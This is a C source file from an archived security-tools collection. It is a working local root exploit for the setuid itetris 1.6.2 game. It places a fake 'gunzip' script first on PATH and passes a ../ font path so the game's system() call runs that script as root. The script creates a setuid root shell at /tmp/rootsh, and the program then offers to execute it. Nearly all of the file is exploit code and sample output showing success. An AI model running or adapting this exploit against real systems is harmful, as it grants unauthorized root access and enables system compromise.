home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xitetris.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  108 lines

  1. /* (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org].  this will
  2.    give you root on systems that have the itetris game installed.  the program
  3.    is installed setuid(0)/root due to svgalib.  this exploits a system() call
  4.    mixed with bad ../ protection, which makes this possible -- considering it
  5.    needs a font file to end with ".gz" to run gunzip.
  6.  
  7.    explaination(egafont.c):
  8.    ---------------------------------------------------------------------------
  9.    [199/360]:char *FontPath, *FontPath1;
  10.    ...
  11.    [237/360]:unzipped = strcasecmp(FontPath+fontheight-3, ".gz");
  12.    ...
  13.    [246/360]:sprintf(FontPath1, "gunzip -c %s > %s", FontPath, tmp_file_name);
  14.    [247/360]:system(FontPath1);
  15.    ---------------------------------------------------------------------------
  16.    
  17.    example:
  18.    ---------------------------------------------------------------------------
  19.    # cc xitetris.c -o xitetris  
  20.    # ./xitetris
  21.    [ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]
  22.    [*] checking /usr/local/bin/itetris for proper file permissions.
  23.    [*] done, /usr/local/bin/itetris appears to be setuid.
  24.    [*] done, making temporary files.
  25.    [*] done, setting up environment variable(s).
  26.    [*] done, launching /usr/local/bin/itetris. (the screen may blink locally)
  27.    [*] done, cleaning up temporary files.
  28.    [*] done, checking /tmp/rootsh for proper file permissions.
  29.    [*] success! /tmp/rootsh appears to be set*id.
  30.    [?] do you wish to enter the rootshell now(y/n)?: y
  31.    [*] ok, executing rootshell(/tmp/rootsh) now.
  32.    # 
  33.    ---------------------------------------------------------------------------
  34. */
  35. #define PATH            "/usr/local/bin/itetris"        // path to itetris.
  36. #define APPENDPATH      "/tmp"                          // tmp dir to use.
  37. #define EXECFILE        "gunzip"                        // don't change this.
  38. #define FAKEFILE        "xitetris.gz"                   // must end with .gz.
  39. #define SUIDSHELL       "/tmp/rootsh"                   // root shell location.
  40. #include <stdio.h>
  41. #include <sys/stat.h>
  42. main(){
  43.  char cmd[256],tmpfile[256],fakefile[256],path[1024],input[0];
  44.  struct stat mod1,mod2;
  45.  FILE *suidexec,*fakegz;
  46.  fprintf(stderr,"[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.o"
  47.  "rg]. ]\n");
  48.  fprintf(stderr,"[*] checking %s for proper file permissions.\n",PATH);
  49.  if(stat(PATH,&mod1)){
  50.   fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
  51.   exit(1);
  52.  }
  53.  else if(mod1.st_mode==35309){
  54.   fprintf(stderr,"[*] done, %s appears to be setuid.\n",PATH);
  55.  }
  56.  else{
  57.   fprintf(stderr,"[!] failed, %s doesn't appear to be setuid.\n",PATH);
  58.   exit(1);
  59.  }
  60.  fprintf(stderr,"[*] done, making temporary files.\n");
  61.  snprintf(fakefile,sizeof(fakefile),"%s/%s",APPENDPATH,FAKEFILE);
  62.  snprintf(tmpfile,sizeof(tmpfile),"%s/%s",APPENDPATH,EXECFILE);
  63.  unlink(fakefile);fakegz=fopen(fakefile,"w");fclose(fakegz);
  64.  unlink(tmpfile);suidexec=fopen(tmpfile,"w");
  65.  fprintf(suidexec,"#!/bin/sh\n");
  66.  fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
  67.  fprintf(suidexec,"chown 0.0 %s\n",SUIDSHELL);
  68.  fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
  69.  fclose(suidexec);
  70.  chmod(tmpfile,33261);
  71.  fprintf(stderr,"[*] done, setting up environment variable(s).\n");
  72.  snprintf(path,sizeof(path),"%s:%s",APPENDPATH,getenv("PATH"));
  73.  setenv("PATH",path,1);
  74.  fprintf(stderr,"[*] done, launching %s. (the screen may blink locally)\n",
  75.  PATH);
  76.  sleep(1);
  77.  snprintf(cmd,sizeof(cmd),"%s -VE -F../../../../%s/%s 1>/dev/null 2>&1",PATH,
  78.  APPENDPATH,FAKEFILE);
  79.  system(cmd);
  80.  fprintf(stderr,"[*] done, cleaning up temporary files.\n");
  81.  unlink(fakefile);unlink(tmpfile);
  82.  fprintf(stderr,"[*] done, checking %s for proper file permissions.\n",
  83.  SUIDSHELL);
  84.  if(stat(SUIDSHELL,&mod2)){
  85.   fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",SUIDSHELL);
  86.   exit(1);
  87.  }
  88.  else if(mod2.st_mode==36333){
  89.   fprintf(stderr,"[*] success! %s appears to be set*id.\n",SUIDSHELL);
  90.  }
  91.  else{
  92.   fprintf(stderr,"[!] failed, %s doesn't appear to be set*id.\n",SUIDSHELL);
  93.   exit(1);
  94.  }
  95.  fprintf(stderr,"[?] do you wish to enter the rootshell now(y/n)?: ");
  96.  scanf("%s",input);
  97.  if(input[0]!=0x59&&input[0]!=0x79){
  98.   printf("[*] aborted, the rootshell is: %s.\n",SUIDSHELL);
  99.  }
  100.  else{
  101.   printf("[*] ok, executing rootshell(%s) now.\n",SUIDSHELL);
  102.   execl(SUIDSHELL,SUIDSHELL,0);
  103.  }
  104.  fprintf(stderr,"[*] exiting program successfully.\n");
  105.  exit(0);
  106. }
  107.  
  108.